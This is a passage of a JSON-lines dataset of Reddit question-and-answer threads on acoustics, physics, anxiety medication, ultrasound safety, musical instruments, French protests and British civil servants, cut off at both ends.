familiar with glass blowing music to have some idea about the shape and size of a glass container from sound alone (i.e. s/he is blindfolded), but exact dimensions would certainly be out of the question.  \n  \nMy field is audiology.  \n  \nEDIT: Yes, temperature is a factor (as well as others which are minor and not included here such as elevation).", "No because he same note is produced when there's the same amount of air from the lid to the liquid, regardless of how big the jar is and how much liquid is actually inside. ", "To clarify:\nOnly notes or also sound recordings or a 3D information about the reflections?\n\n", "Mathematician here. Really interesting question!\n\nSee a lot of engineers discussing computational methods for estimating the volume. From a theoretical standpoint, the question merely asked if determining the volume is possible. That is, does every bottle with a different volume produce different sound waves in response to \"blowing over the opening\". \n\nI think the question is in fact quite deep. A similar question: can you hear the shape of a drum (_URL_0_) was only answered recently in the negative. Essentially two drums of different shapes that produce the same sound were found. The OP question is simpler in one sense (volume instead of shape), but possibility more complicated in another (what exactly does \"blowing over the opening\" mean. \n\nI would hypothesize that determining the volume should indeed be possible, but someone specializing in harmonic analysis might be able to provide more insight.", "I know this kind of contradicts some of the other posts, but the answer is:\n\nYes, actually. \n\nBut you need to know more than just the volume. You need to know the length of the bottle neck. There are even \"tuning bottles\" that can be used to tune pianos and such. They are made of brass and very specifically crafted.\n\nI took a physics of sounds class about 6 years ago. I'm trying to find the text book with the proper equations. The internet isn't helping, but I'll get back to you.\n\nEDIT: This [link](_URL_0_) will help.\n\nThe phenomenon is called Helmholtz resonance.\n\n", "related question...Can you blow overtones (blow really hard to produce a pitch above the one usually heard) on a beer bottle or is the opening too coarse? How would you modify a bottle so this is possible?", "Think of the bottle like a guitar string. All the guitar strings are the same length, but depending on how tight they are pulled they make different sounds. That correlates with the properties of the bottle (materials, thickness, structure/tension).  Adding water is like putting your finger on a fret, it shortens the wavelength (or the length of the \"string\") so a smaller part is vibrating and you get a higher pitched sound. \n\nBut no. Just like two strings of the same length can make different sounds, two bottles of the same volume can make different sounds. ", "This may be relevant to your interests.  Print this out and use it as a label on a standard beer bottle to know when you can blow certain notes!  _URL_0_", "I'm on mobile and thus unable to link to this, but some years ago the subject of a mathematical research project was whether or not you can recreate the shape of a drum based on the tone produced by hitting it. The answer is no, as the top commenter mentioned there are too many variables such as shape, depth, material, etc. ", "You if you put water into wine glasses and crate a glass harmonica you could roughly determine the amount of water it take to create that sound in the wine glass. Same could be done for a bottle.\n\nHowever Exact molecular count could not be determined since the variable in the shape of the opening.", "Yes, someone even did it on a German TV show.\n\n_URL_0_\n\nHopefully the link works im on mobile.", "In my data processing course we were talking about if it was possible to determine the shape of a drum based on its sound. There is some theorem that says you cannot.", "Basic answer is yes. As long as you have a formula which relates the note given off of the bottle, to several other factors, such as angle and amount of air going to the bottle openning, bottle shape, and size, and any other determining factors. Without the equation how ever, it will probably be too difficult, because of the infinitesimal possibilities contained in a word such as bottle.", "The fundamental note depends primarily on the length of the bottle.\n\nThe overtones, that might depend on all possible path lengths, are so complicated that you're unlikely to be able to calculate the volume by trying to deconvolve them.", "Yeah, you can approximate the volume. You can do a lumped element model, and assume that it's an ideal Helmholtz resonator. So taking into account whether it's a (long or short) (thin or side) neck, and whether you think radiation impedance is important, you can find the resonant frequency. To first order, only the volume will mater, not the shape for bottles of normal size. Ref: Just took an acoustics class", "YES! Musician here, not that there is any chance this will be read. In fact it IS possible to determine what material the container is, AND, the note too. \n\nAll objects/ matter vibrate differently. All like objects vibrate similarly. All like shapes vibrate similarly. You could make a violin out of gold, glass, carbon fiber or plastic, it doesn't matter; that shape and proportion yield the same note regardless of the material so long as the shape and sound production are the same. It will sound like non-musical poop, but you WILL get that pitch.\n\nListen up naysayers: \n\nSound is as complex as light. We use spectrometers for matter to measure the specific light wave patterns which are reflected. Similarly objects resonate specific patterns of tones and overtones to form a \"signature\" sound. This is why violins are made from wood, and trombones from brass, we're going after a certain vibration signature- not just a shape.\n\nBack to our plastic violin- you WILL DEFINITLEY produce the same pitch as a Stradivarius if the proportions and strings and everything else are the same, BUT YOU WILL definitely  have a different \"signature.\" So if you disagree with me still [physicists of reddit] take solace in knowing that note will not be as loud, though it WILL be there, just buried among the other tones.\n\nLet's take two approaches to designing experiments to prove this hypothesis, first we will assume we're using a computer and high quality software and microphone to the degree any scientist would want, and secondly the average joe. \n\nA scientist with said equipment, and consistent \"blowing air\" would instantly know pitch, \"signature\", and how long the bottle continues to vibrate after the blowing is ceased. This is probably enough information alone to determine volume. \n\nNow the average joe. Joe hears the bottle being blown upon. Does he hear the pitch the way I do? [source] A formally trained musician with degrees from Juilliard and Colombia?? \n\n\n\n\nOf course. He can tell if it is loud or soft, high or low, metal or plastic or glass or wood or ceramic, it doesn't mater. Can he name the pitch as described by western music.........Who cares? \n\n\n", "In dB or mL?", "You could if you know anything else about the bottle (shape and composure)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Helmholtz_resonance"], [], ["http://en.wikipedia.org/wiki/Hearing_the_shape_of_a_drum", "http://en.wikipedia.org/wiki/Weyl_law"], [], [], [], ["http://en.wikipedia.org/wiki/Helmholtz_resonance"], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Hearing_the_shape_of_a_drum"], ["http://en.wikipedia.org/wiki/Helmholtz_resonance"], [], [], ["http://i.imgur.com/nD0QXwj.jpg"], [], [], ["https://m.youtube.com/watch?v=ovlWAzhSduk"], [], [], [], [], [], [], []]}
{"q_id": "tea9w", "title": "Do anxiety medications offer only temporary relief, or by using them over a period of time can one's brain be reconditioned to not have the \"fight or flight\" response so readily? (without the use of other forms of therapy)", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tea9w/do_anxiety_medications_offer_only_temporary/", "answers": {"a_id": ["c4lzetv"], "score": [3], "text": ["The person stopping anxiolytic medication will typically go through one of two possibilities -- withdrawal and return to anxiety symptoms or no withdrawal (or mild withdrawal) and return to the previously experienced symptoms (in the case of anxiety disorders) -- if nothing else is done (e.g., no therapy, no established coping skills).  This is a typical tolerance/withdrawal phenomenon.\n\nDuring use the GABAa receptors are potentiated, which helps to decrease anxiety.  Long term use of anxiolytics result in decreased GABAa response, however, which in turn leaves a person with a deficient anxiety fighting mechanism in the brain when the meds are stopped; not enough GABAa response because the med was doing the work for you.  This in turn means that the person who uses anxiolytic meds for a long period of time, even if the use is as Rx'd, may end up with worse anxiety and physiological symptoms than before they started due to drug withdrawal, which, in the case of anxiolytics, can last long periods of time (weeks, months, years depending on the symptom of withdrawal).\n\nSo, the fight or flight response isn't reconditioned in a positive way at all and may, in fact, be worse regarding anxiety."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25hcf7", "title": "What are some instruments that were once quite popular but have fallen into obscurity over time?", "selftext": "Thinking about how we use a standard of Guitar, Drums, Bass, and sometimes Piano and if they will ever be replaced got me wondering about past musical trends. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25hcf7/what_are_some_instruments_that_were_once_quite/", "answers": {"a_id": ["chh7hcc", "chhikbz", "chhj0hn"], "score": [21, 3, 2], "text": ["Wait, is it musicology Tuesday already? \n\nThe ancient Greeks played the [aulos](_URL_14_). Also see the [salphinx and the kithara](_URL_15_).\n\nThe [harpsichord](_URL_6_) was one of the two great keyboard instruments of the Renaissance and the baroque. It was replaced by the piano, but it has been luckily brought back to life! It is back again with us and is no longer considered too rare, but many people are not familiar with it.\n\nThe [clavichord](_URL_0_) was another popular instrument. MUCH smaller, quieter and cheaper than harpsichords. It was not meant for big public performances, people would play it in more intimate settings, or use it to practice.\n\nThe [lute](_URL_8_). Not particularly rare... However, the [theorbo](_URL_11_) will get more people looking.\n\nThe [viola da gamba](_URL_4_) had a lovely sound. It's close to a cello, but it has frets. \n\nThe [cornetto](_URL_13_) was just lovely. It works like brass instruments, but it's made of wood and has holes like a flute. Fantastic little instrument...\n\nThe [dulcimer](_URL_5_) (played by the lady in black who is standing in the middle). \n\nThe [hurdy gurdy](_URL_17_). With that name, it has to be weird...\n\nThe [crumhorn](_URL_3_). Related to the oboe (double reed) but it has a cap, so the player is not in direct contact with the reeds. Not to be confused with the [hirtenschalmei](_URL_9_).\n\nThe [rackett](_URL_2_).\n\nThere were more [peculiar medieval instruments](_URL_12_), some look less alien and closer to modern ones. \n\nThe [arpeggione](_URL_1_) had a few years of fame in the 19th century. \n\nSome of the instruments I mentioned probably were not as popular as the guitar is today. It is very easy to find instruments that are still used but look completely weird outside of the Western world. Many instruments are in principle related to others, and you can find variants of many things that are normal (they just look strange to us). Middle Eastern instruments related to medieval instruments (that are now dead), for example.\n\nMechanical instruments were popular at some point. For example, [nickelodeons](_URL_16_). \n\nWe don't have to go far into the past to find weird instruments that are not really part of contemporary music. For example, [stylophones](_URL_7_) (the little thing operated with a stylus). At some point, people were studying [theremin](_URL_10_) just like others were playing the cello. People had great hopes for the future. \n\nThe study of musical instruments is called organology. People who are into that know about the craziest instruments (and many are still used today).", "The accordion.  \n\nAny way you want to slice it, from number of countries in which it figured prominently, to percentage of traditional musical traditions that absorbed and incorporated it, to sheer number of people who played it, the accordion ruled for a good chunk of the 19th/early 20th century.\n\nIt could be produced in bulk through modern factory methods, learnt by Joe Public through systemic charts and symbols, leant itself to the boom-chuck underpinnings of the popular dances of the day, didn't fall apart under rough conditions, was loud enough to drive a room without amplification, and could be played while singing or even dancing. \n\nIt figures in *every* tradition you know besides classical and post-19teens pop/social music. In your mind's eye try to see someone from each of these spots holding a squeezebox while people party: \n\nPoland. Russia. Mexico. Texas. Louisiana. Italy. China. Germany. France. South Africa.\n\nCan you do it? Bet you can. There's plenty more.  \n\n\nActually, I may not have answered OP's question, since he did specify \"fallen into obscurity\" -- and in the eyes of much of the rest of the world, it hasn't. \n\nBut OP and most of the current pop media probably don't think of it as popular, so perhaps it still counts.", "I know this isn't the traditional \"instrument\" that you're thinking of, but the original methods of writing music for tape as a form of *musique concrete* are long since archaic and mostly extinct. Back in the 1930s-50s, methods of recording via tape had become more commonplace, and as a result, many composers questioned/pushed the boundaries between live music and recorded music, often blending the two. Composers like Edgard Var\u00e8se would take field recordings e.g. recordings of everyday atmosphere and scenery, and cut and splice the tape together in such a way that it was no longer distinguishable. Combine that with the post-war existentialist philosophy of \"what *isn't* music?\" and you have some very interesting music that combines live performance with recorded sounds. Two examples that come off the top of my head are [\"Deserts\"](_URL_3_), for tape and large ensemble, and [\"Poeme electronique\"](_URL_1_) for tape (a prime example of splicing and cutting to get bizarre results). Nowadays, if something is written for live instrumentation + tape, it's usually prerecorded on a CD that someone in the sound booth or on the stage can just press play and go.\n\nThe most modern example I can think of this is an album that Jack White did not too long ago with this method, although I can't be bothered to remember the name of it as of right now.\n\nSources/further reading:\n\n_URL_0_\n\n_URL_2_\n\nWright, Simms: *Music in Western Civilization* (media update), chapter 77\n\n_URL_4_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/9WuVVE2t-Vk?t=15s", "https://www.youtube.com/watch?v=do9UgdfwM5Q", "https://www.youtube.com/watch?v=ql25jqpsNZ4", "https://www.youtube.com/watch?v=a1VQQiGXbsw", "https://www.youtube.com/watch?v=80mF23zen6s", "https://www.youtube.com/watch?v=J6y6VToRwkw", "https://www.youtube.com/watch?v=QVkPb8OGeu8", "https://www.youtube.com/watch?v=4cHX-znop8Q", "https://www.youtube.com/watch?v=EehSTgGF6W8", "http://youtu.be/2M5e6mtXiNU?t=2m6s", "https://www.youtube.com/watch?v=K6KbEnGnymk", "https://www.youtube.com/watch?v=wmhmKUXxRlE", "http://www.music.iastate.edu/antiqua/instrumt.html", "http://youtu.be/4VmXoJL84J0?t=10s", "https://www.youtube.com/watch?v=Pjdxft_Qi94", "https://www.youtube.com/watch?v=XznbuCDsQ-w", "https://www.youtube.com/watch?v=vaBYHk7PD_A", "http://youtu.be/K8zGZJQ5yps?t=8s"], [], ["http://www.music.columbia.edu/masterpieces/notes/varese/notes.html", "https://www.youtube.com/watch?v=MmrchX7qYpU", "http://www.ipsden.u-net.com/course/EM3.html", "https://www.youtube.com/watch?v=Q__g0tgC2wE", "http://discorgy.wordpress.com/2008/08/04/varese-xenakis-le-corbusier-poeme-electronique-1958/"]]}
{"q_id": "4m2w0x", "title": "Do (relatively) cold materials radiate light at invisible frequencies the same way that hot materials radiate visible light?", "selftext": "Title says it all. As something like iron increases in temperature, the light it radiates becomes brighter and changes color. I'm wondering if there's always a \"color\" being emitted, but at frequencies we cannot see.\n\nBonus question: do common materials follow the color spectrum as they get hotter, as in magenta  >  >  red  >  >  orange  >  >  yellow  >  >  blue  >  >  violet  >  >  invisible? Obviously they would change states of matter during this progression.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4m2w0x/do_relatively_cold_materials_radiate_light_at/", "answers": {"a_id": ["d3s4b6h", "d3s4bh4", "d3s5w3u", "d3sm2gu"], "score": [26, 6, 5, 3], "text": ["Yes, blackbody radiation is emitted by room temperature objects at infrared wavelengths. The peak of emission is described by Wein's displacement law, \u03bb_max=2.9x10^-3 m K / T, where \u03bb_max is the wavelength where emission peaks and T is temperature. So colder objects emit at longer wavelengths (lower frequencies). The human body emits light with a spectrum peaking around 10 microns, while the Sun's spectrum peaks around 500 nm. The leftovers from the Big Bang are around 2.7 K, and peak in the microwave, giving the Cosmic Microwave Background. The shape of the spectrum, first described accurately by [Planck](_URL_0_), actually led to the birth of quantum mechanics.\n\nBonus answer: The peak wavelengths do, but they aren't *only* emitting in that wavelength, so the color progression looks to your eye more like blue-white, white, yellow-white, yellow, orange, red, infrared (by now it's not a star, just a warm object with no fusion called a brown dwarf).", "Any object with T  >  0 radiates over all wavelengths, but the **peak** wavelength (the one emitted most often) is inversely proportional to the temperature (see Wien's displacement law).\n\nYou are emitting radiation right now, primarily in the infrared region of the EM spectrum. ", "Yes, but they don't stop radiating lower frequencies as they get hotter. They radiate more. They just radiate even more of the higher frequencies. A very hot object would radiate more ultraviolet light than visible light, but it would still radiate more visible light than a cooler object would.", "Yes.  And nearby cold objects can make a Crookes Radiometer turn backwards, because of \"cold radiation!\"   This works because all the objects in an indoors environment are radiating \"room temp blackbody\" IR light, while a cold object is radiating longer wavelengths and less total energy.   A nearby cold object won't return as much IR light to the warm radiometer blades, so they start cooling down, causing it to spin backwards.\n\nExample:  when it's at room-temp and not spinning, hold your radiometer up to an open freezer, or hold it up to an icy windowpane in winter.   It will slowly rotate backwards.\n\nOr, put the entire radiometer inside a refrigerator.  It will spin backwards briefly; only until the blades cool down to the local \"room temp\" of the fridge.   Now take it out.  It will spin forward briefly, because it \"sees\" the longwave IR being emitted by the surfaces in the room.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Planck%27s_law"], [], [], []]}
{"q_id": "vohnd", "title": "If you shine a light at an object, does it become heavier?", "selftext": "Does light weight anything?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vohnd/if_you_shine_a_light_at_an_object_does_it_become/", "answers": {"a_id": ["c569lpr", "c56b6rc"], "score": [9, 5], "text": ["Yes. How much depends on the material and whether the light gets absorbed or reflected. Even if it's completely reflected, the effect is not instantaneous. For that small fraction of a second the system becomes heavier while the electron is in a higher energy orbit.", "_URL_2_\n\n_URL_0_\n\nYes, they do very slightly:\n\n > Light exerts physical pressure on objects in its path, a phenomenon which can be deduced by Maxwell's equations, but can be more easily explained by the particle nature of light: photons strike and transfer their momentum. Light pressure is equal to the power of the light beam divided by c, the speed of light.  Due to the magnitude of c, the effect of light pressure is negligible for everyday objects.  For example, a one-milliwatt laser pointer exerts a force of about 3.3 piconewtons on the object being illuminated; thus, one could lift a U. S. penny with laser pointers, but doing so would require about 30 billion 1-mW laser pointers.[8]  However, in nanometer-scale applications such as NEMS, the effect of light pressure is more significant, and exploiting light pressure to drive NEMS mechanisms and to flip nanometer-scale physical switches in integrated circuits is an active area of research.[9]\nAt larger scales, light pressure can cause asteroids to spin faster,[10] acting on their irregular shapes as on the vanes of a windmill.  The possibility to make solar sails that would accelerate spaceships in space is also under investigation.[11][12]\n\nMomentum is a vector with magnitude and direction.  It is equivalent to the product of the velocity vector with a mass scaler.  When a mass changes direction (changes the direction or magnitude of its velocity), its momentum changes.  Momentum can only be changed by a force.  \n\nWhile light does not have a detectable mass, for reasons we don't yet fully understand (namely wave-particle duality) it exhibits the characteristics of having momentum related to its energy.\n\nSince light has momentum the act of reflection (analogous to a ball bouncing off a wall) exerts some force.  This also works with non reflective surfaces since the light beam is essentially brought to a stop and absorbed (analogous to me catching a ball).\n\nI remember doing a problem back in early college about the pressure exerted by the sun on a sunbather.  It was very very tiny.\n\nEdit:\n\nLight does not have mass, but due to relativistic physics (E=mc^2 ) its energy gives it momentum.\n\nGiven P=mv (Newtonian momentum) and the above we can derive light's momentum related to its energy:\n\nP=mv=Ev/c2 (given v=c for light) P=E/c\n\nPlanck can take that a bit further.\n\n_URL_1_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Radiation_pressure", "http://en.wikipedia.org/wiki/Photon#Physical_properties", "http://en.wikipedia.org/wiki/Light#Light_pressure"]]}
{"q_id": "1kn9s7", "title": "i often hear a deep rumbling noise that that last several minutes while outside, almost like thunder but on clear days or nights that seems to come from above me, is this a known phenomenon and what is it?", "selftext": "Initially I thought it must be airplanes flying low, but I've never been able to see one while hearing the noise, it doesn't seem to fade out with time, and when I can see a low flying airplane it makes a different sound.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kn9s7/eli5_i_often_hear_a_deep_rumbling_noise_that_that/", "answers": {"a_id": ["cbqntbl", "cbqocn6", "cbqp6cv"], "score": [3, 2, 5], "text": ["Must be thunder then.  Lightning thunder aren't limited to rainstorm activity. They just most often occur in rainstorm", "Could be thunder from a far off storm. Sound can travel a fair distance and you can hear it long before you see any sort of cloud if you see a cloud at all.\n", "Do you consistently hear it?  Day after day?  Are their times?  I dread to post the following link because it feels to 'conspiracy theory' for my skeptic tastes, but it is not an unheard (ha) of phenomenon.  _URL_0_  \n\nHowever, there have been cases where the deep hums that can last a while are actually minor tremors that are too small to feel but can be heard.  \n\nMore details of you exact situation are needed.  Only at night?  Frequency?  Every day?  Random?  Can you go weeks/months without hearing it?  How loud is it?  Is it a really deep hum (Low frequency)?  High frequency?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/The_Hum"]]}
{"q_id": "1ypz8x", "title": "What quantities are fundamentally conserved in physics (as far as we know), and what are the corresponding symmetries?", "selftext": "According to [Noether's Theorem](_URL_0_), each conserved quantity in physics has a corresponding symmetry.  \n\nSo, my question first is, as far as we know, what are the most fundamental conserved quantities?  For example, people commonly talk about conservation of energy and conservation of mass, but these aren't \"fundamental\" because they can be violated by nuclear reactions.  How many fundamental conserved quantities are there, and what are they?\n\nSecond, for each conserved quantity, what is the corresponding symmetry? I've read conservation of linear momentum corresponds to translational symmetry, and conservation of angular momentum corresponds to rotational symmetry. Do we have a full list of how many symmetries there are and how the correspond to conserved quantities?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ypz8x/what_quantities_are_fundamentally_conserved_in/", "answers": {"a_id": ["cfmqcmj", "cfmrusf", "cfmtijb", "cfmyzwt"], "score": [5, 14, 2, 3], "text": ["well energy is conserved... when physics is time-symmetric invariant. Moreover, remember relativity tells us that space-time is one big thing. So instead of looking at energy and time-translation and momentum and space-translation, we realize that the energy-momentum 4 vector is conserved more generally when space-time translation holds (which still isn't precisely universal either).\n\nQuantum field theory is all about some symmetries, but they're very exotic. Electric charge conservation comes from a \"gauge invariance\" of electromagnetism. (There's an arbitrary parameter in electromagnetic potentials that we can shift, and the physics remains the same - >  charge conservation). Others come out of similar exotic things, less about rotations and translations in the physical sense.", "Actually, Noether's Theorem says that each (differentiable) symmetry has a corresponding conservation law, but not necessarily that each conservation law has a corresponding symmetry.", " > For example, people commonly talk about conservation of energy and conservation of mass, but these aren't \"fundamental\" because they can be violated by nuclear reactions.\n\nConservation of mass has nothing to do with nuclear reaction. A system changes its rest mass whenever it emits energy in some way. It just shows up observably in nuclear reactions because they have such high energies. Chemical reactions work the same way. So does emitting a thermal photon, etc.", "Energy **is** conserved. Nuclear reactions can create and destroy mass, but not energy.\n\nThe corresponding symmetry is that of time translation.\n\nMomentum is conserved. Conservation of momentum corresponds to translation in space.\n\nAngular momentum is conserved. Conservation of angular momentum corresponds to rotation.\n\nThe only other absolutely conserved quantities are the generators of fundamental gauge symmetries.\n\n* Electric charge is conserved. The corresponding symmetry is the U(1) gauge symmetry of the electromagnetic interaction.\n* Color (i.e., of quarks and gluons) is conserved. The corresponding symmetry is the SU(3) gauge symmetry of the strong interaction.\n* At high energies, there is the SU(2) x U(1) gauge symmetry of the electroweak interaction. The four corresponding conserved quantities are the three components of weak isospin, and the weak hypercharge."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Noether's_theorem"], "answers_urls": [[], [], [], []]}
{"q_id": "xqqyz", "title": "My friend's midwife is advising against ultrasounds, because \"of the effects on the baby,\" but I've never heard they were dangerous - are they?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xqqyz/my_friends_midwife_is_advising_against/", "answers": {"a_id": ["c5ormas", "c5ormdj", "c5ort5w", "c5os2j5", "c5osglj", "c5ospkh", "c5osyh7", "c5osz18"], "score": [12, 60, 7, 104, 3, 5, 4, 2], "text": ["Did she explain why she thought they were dangerous?  We spent a few weeks on ultrasound in one of my imaging classes and though you could use it to heat something, there's no risk associated with medical ultrasound.", " > Ultrasound has a demonstrated record of safety for more than 50 years of clinical use. Although no independently replicated epidemiologic data exist to suggest harmful effects of ultrasonography in the fetus, ultrasonography is a form of energy with two main bioeffects in tissue: heat, a direct effect, and oscillatory movements, secondary to the alternating positive and negative pressure waves. These effects are inherent in the physical properties of ultrasonography and have not been shown to be harmful in humans.\n\n > Although there is no evidence of harm, ultrasound power levels have gone up, and there is increasing use of more powerful color and spectral Doppler in the first trimester, so safety cannot be presumed. Dose is a quantitative measure that combines intensity and exposure time. No standard dose quantity has been identified for ultrasonography.\n\n[source](_URL_1_)\n\nBasically, the evidence to date points to ultrasound being a safe and effective imaging modality for pregnant women.  However, that does not guarantee that no evidence of harm will be found in the future, so cautious/appropriate use (the [ALARA](_URL_0_) principle comes to mind) is recommended.", "I received a lecture from Dr. Morton Miller about the teratogenicity of thermal dose. [He](_URL_1_) [suggests](_URL_0_) that additional studies should be done to examine current technology and the amount of heat they put out. A [review](_URL_2_) he has done suggests that in general the risk is very small, but in certain conditions (i.e. high heat for long periods near bone), can be dangerous.\n\nI have not researched ultrasonography and I do not know about any other concerns of ultrasound.", " > If there AREN'T dangerous, why would a midwife think that they are\n\nBecause midwifes are not medical professionals in the same way a doctor or a nurse is (yes there are nurse-midwives though). They have no (or perhaps very little) education in the use of or science behind ultrasounds or much of the science behind much of pregnancy and childbirth. Instead, their knowledge is in helping the expecting mother have a safe, healthy perinatal experience and identification of potential problems in a sort of more holistic way. For instance, the midwife I know can tell the patient to take folic acid supplements, but she would be unable to explain any of the biology or chemistry behind folate deficiency.\n\nThis is not to say that midwives are bad or useless. On the contrary, midwives have been shown to be usually pretty helpful in that they take some of the burden off doctors and nurses in low-risk pregnancies and mothers are generally happy with their experience with midwives.\n\n > Ever since she got pregnant it's just been a nightmare sifting through all the advice and separating the facts from the old wive's tales.\n\nYour friend should go see an OB/GYN and listen to that OB/GYN above all else. Do not take non-medical professional's medical advice without running it past the OB/GYN. If you really want to check something out immediately, type it into google and see what comes up from REPUTABLE sources (Mayo Clinic, CDC, and other hospital/government websites). Do not trust any other source (including Wikipedia).", "There are some concerns with mall front stores that do the 3d ultrasounds that they market as a way to see your baby before it is born. The quality, settings, regulations, and operators are kind of a wild west operation in some places. \n\nWe went through Bradley Method classes, which is a birthing method where you try to do things as naturally as possible unless something bad happens. They had some videos that supposedly showed the fetus trying to get away from the ultrasound transmitter. Interesting to watch, but not particularly scientific (ie did that happen every time or once every 500 times).  Even then their consensus was that it didn't appear to be harmful but you should limit how often you do it to what is medically necessary. \n\nThe fetal heart beat monitors are ultrasound based as well. ", "My OB's office is against elective ultrasounds for the reason arumbar posts, but I think part of that reason is because some individuals seriously abuse ultrasound technology. I've heard of people getting multiple elective ultrasounds a month.\n\nThat being said, even if there is a slight risk, employing no ultrasounds is incredibly dangerous, if only because multiples are tricky to find without ultrasound. If it wasn't for ultrasound technology, who knows when I would have found out that I was pregnant with twins. Multiple births are considered higher risk and I follow different guidelines than mothers pregnant with singletons. Yes, it is true that multiples can be discovered through heart beats, but it is incredibly difficult to distinguish between the three different heartbeats, especially in early pregnancy, when weight gain is most important for multiples.\n\nThere are other conditions and situations that are very difficult to discover without ultrasound, and some of these can end up killing the mother or baby(ies), so I would *never* seek advice from a midwife who refused to do an ultrasound.", "Tell your friend to get a new midwife! Dear Life, if she's like that, who knows what she'll do to that baby when there is trouble? (That midwife is a dangerous idiot). ", "Go see a doctor. I have closed this thread for requesting medical advice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/ALARP", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2788813/?tool=pubmed"], ["http://www.ncbi.nlm.nih.gov/pubmed/17963269", "http://www.ncbi.nlm.nih.gov/pubmed/12227925", "http://www.ncbi.nlm.nih.gov/pubmed/16949653"], [], [], [], [], []]}
{"q_id": "a2u49i", "title": "why are people in france protesting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2u49i/eli5_why_are_people_in_france_protesting/", "answers": {"a_id": ["eb161vg", "eb162g8", "eb16oc5"], "score": [3, 6, 3], "text": ["The middle class and working class feel that they are being ignored. In particular rural citizens who do not have public transit options are being hit incredibly hard by the extra taxes being placed on fuel as a bid to reduce car usage in the cities. ", "It started because the government was raising the gasoline tax when people feel the price of gas is already too high. It has snowballed into a huge \"Fuck austerity, and fuck you Macron\" protest. The President of France is *stunningly* unpopular.", "Mainly about the cost of stuff, fuel especially. There is a much larger percentage of taxes than we pay and people are pissed of about the cost of stuff and fall in living standards. They hoped Macron would do something about it, but he hasn\u2019t. Most cars in France run on diesel and it\u2019s going up to about $1.80 a liter. That\u2019s about $6.80 a gallon. The protesters see it as the city people punishing country people because of pollution from diesel fuel. There has always been a very revolutionary aspect to the French compared to here. Plus it\u2019s a small country (as big as Texas) with 67 million people so it\u2019s easy to get a national protest going. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8du5p9", "title": "Why did so many British civil servants used to study classics in university?", "selftext": "I'm sure most people here know Sir Humphrey, the archetypal British civil servant from Yes Minister who studied classics. Why did so many British civil servants study this subject back then?\n\n[I also have an article here which observes](_URL_0_), \"Times change. The number of higher civil servants with Oxbridge classics degrees is in decline just as the number of employers demanding graduates with more practical skills is increasing.\"", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8du5p9/why_did_so_many_british_civil_servants_used_to/", "answers": {"a_id": ["dzbw26m"], "score": [14], "text": ["1/5 Starting with your example of Sir Humphrey from *Yes Minister*\u2026    \n\n**Just how typical was Sir Humphrey?**   \n\nSir Humphrey appears to have been written as two or three years older than Nigel Hawthorne (b.1929), the actor who played him. The character bio suggests he went straight from Winchester (traditionally regarded as the most academic of the old public schools), to Oxford (a 3 year undergraduate degree), to National Service (18 months pre-1950, two years afterwards). The Wikipedia entry (apparently based on *Politico\u2019s Book of the Dead*, the first of a number of publications I ran into while researching this which was only, i.e. barely, available in Google Books snippet view) seems to list his first Civil Service job as starting in 1950.  \n\nBy this time, Classics was beginning to wane as the dominant subject for higher grade British civil servants.   \n\nIn 1937, Herman Finer (p.92) reported that \u201cFor the years 1925-35, Classics supplied 35 out of every hundred entrants, History 25, Modern Languages 8, Economics and Politics 7, Mathematics 6, and mixed History, Languages and Literature 7.\u201d  \n\nBy the period 1948-56, History and Classics had more or less swapped places: History 32%, Classics 21%, Economics and Politics 10%, PPE 9%, Modern Languages 9%, English 6%, Law 4%, Maths 2%, Science and Technology 1%, Other Subjects 2%.  \n\n[I calculated these percentages based on the two columns of successful candidates on p.436, Fry (1969) a slightly frustrating table - taken from a 1964-65 government report I can\u2019t access via more than snippet view on Google Books - which doesn\u2019t fully add up, as it does not account for the degree subjects of 18 out of 319 successful candidates in one column, who do nevertheless appear in a subsequent table on p.437, as having a degree classification.]  \n\nIncidentally, the gradings for the entrance exams of Fry\u2019s stats were almost comically British: \u201cVery good indeed\u201d, \u201cDistinctly above average\u201d, \u201cWell up to standard\u201d, \u201cRather below standard\u201d and \u201cUnsatisfactory\u201d (Fry, p.433).   \n\nSir Humphrey was marginally old-school in subject terms even among his own cohort, when long-term patterns are taken into account. But he was utterly typical in being an Oxford graduate.  \n\nRelative to the pre-war period, civil service entrants from Oxbridge in 1949-52 fell from 89-74%, but Oxford\u2019s dominance rose, its graduates securing 47% of vacancies versus an expected 24% (Kelsall, 1955, p.142, 144). Cambridge and London graduates took the proportionally expected percentages, and it seemed that Oxford specifically was taking some of the share which would have been expected to come from redbrick universities (those founded in provincial English and Welsh cities in the nineteenth and early twentieth century). Kelsall considered that the fall in proportion from Cambridge was due to the increasing numbers of science graduates produced by that university. He found that a smaller than expected number of candidates from redbricks were applying \u2013 but also that only 1 in 33 of those applicants was accepted, as opposed to 2 out of 7 from Oxford (p.145).    \n\nFiner (p.90) mentions the way in which the British university small-group or individual tutorial system, at its most intense in Oxbridge, acted as training for the senior civil servant\u2019s discussions with a minister. At least twice a week, the student would have to debate, usually one to one, with a tutor who was often a 